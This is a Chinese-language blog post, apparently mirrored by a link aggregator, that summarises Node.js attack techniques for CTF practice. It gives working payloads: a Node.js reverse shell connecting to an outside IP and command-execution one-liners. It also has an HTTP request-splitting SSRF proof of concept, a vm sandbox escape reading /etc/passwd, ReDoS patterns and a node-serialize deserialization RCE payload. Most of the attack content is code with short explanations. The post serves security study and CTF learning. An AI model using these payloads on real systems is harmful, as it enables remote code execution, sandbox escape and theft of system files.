7

Nodejs 相关漏洞总结

 2 years ago
source link: https://blog.szfszf.top/article/41/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Nodejs 相关漏洞总结

2020年03月, 3654 views, #nodejs

Nodejs 相关漏洞总结

require('child_porcess').execSync('id');
 global.process.mainModule.constructor._load('child_process').execSync('id');

require('fs').readdirSync('.').toString()
require('fs').readFileSync('a.js','utf-8')
require('fs').writeFileSync('message.txt','hello')

({}).constructor.constructor

// 反弹shell
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; 
})();

http拆分攻击

漏洞原理

具体见这里

根据这里,漏洞范围在[6.0.0, 6.15.0) 和 [8.0.0, 8.14.0) 版本以内的nodejs都存在这个问题。

简而言之,漏洞原因是当http包在处理http请求路径时,默认使用了latin1单字节编码字符集,当我们的请求路径中含有多字节编码的unicode字符时,会被截断取最低字节。

比如\u0130就会被截断为\u30

为了避免crlf注入,nodejs也会将输入的\r\nurl编码为%0d%0a,但是我们可以通过上面的漏洞就可以绕过。

%C4%8D%C4%8A代替\r\n就可以绕过

漏洞利用

一般是用做SSRF,通过crlf注入,向服务器发送走私内容。一般用来绕过内网限制。

下面是一个漏洞POC, 在存在漏洞的nodejs版本运行可以很形象的观察漏洞,来源于这里

const http = require('http')

const server = http.createServer((req, res) => {
  console.log(req.url);
  res.end();
});

server.listen(8000, function() {
  http.get('http://127.0.0.1:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() {
  });
});

The vm module is not a security mechanism. Do not use it to run untrusted code.

vm官方文档也已经说了它是一个不安全的模块,而它也很容易逃逸。

在javascript中this是对当前对象的一个引用,那么在vm中的this指的就是vm上下文,说明已经是处于vm上下文之外了。

.constructor.constructor可以索引到Function,创建匿名函数。那么在这个匿名函数中的this就是外部的this

const vm = require("vm");
const result = vm.runInNewContext(`var process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(result)

这样就能取到沙箱外的process,执行命令了。

vm2号称是能安全的执行不信任的代码的,默认情况下只有Javascript内置对象和Buffer可以访问。它内部使用vm模块创建上下文,并且通过JavaScript的Proxy机制防止逃逸出沙箱。

只要在运行过程中获取到任何一个外部的对象,就可以索引到外部的this。这篇文章是通过制造错误,引起外部报错,再捕获外部的报错实现逃逸的(已修复)。

XmiliaH 对很多个版本都有逃逸,但最新版都已修复。

reDos 漏洞

正则回溯导致的Dos漏洞。

除了导致Dos,还可以在某些环境下猜测被匹配的字符串。今年的xctf抗疫高校分享赛就有一道这样的题。

这里也有一个猜测字符串的例子

下面有两个收集到的payload

/^((.*)+)+xxxx$/                 不以xxxx结尾则dos
/^(?=xxxx)(((.*)*)*)*salt$/     以xxxx开头则dos

javascript 原型链污染

大致原理和CTF题目分析我以前分析过,这里不赘述

node_serialize 漏洞

node_modules\node-serialize\lib\serialize.js中非常简单的代码

反序列化时,使用eval处理_$$ND_FUNC$$_开头的代码

var FUNCFLAG = '_$$ND_FUNC$$_';

if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

直接注入就行

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)})"}';
serialize.unserialize(payload);

没有必要用IIFE

javascript 大小写特性

在toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。在toLowerCase()函数中,字符会转变为k

Node Js unicode failure

blackhat上提出来的,原理与拆分攻击类似。因为内部使用UCS-2编码,也是在处理path时对unicode时对高位的截断。

比如\xFF\x2E会被截断为\x2E,其中\xFF\x2E也就是

比如\x01\x25会被截断为\x25,其中\x01\x25也就是ĥ

这个知识点在CSAW2017出了几道题,我测试发现老版本的nodejs仍存在这个问题。

https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

https://xz.aliyun.com/t/7184

https://hpdoger.cn/2019/12/01/I-SOON2019-Membershop%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF/

https://diary.shift-js.info/blind-regular-expression-injection/

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK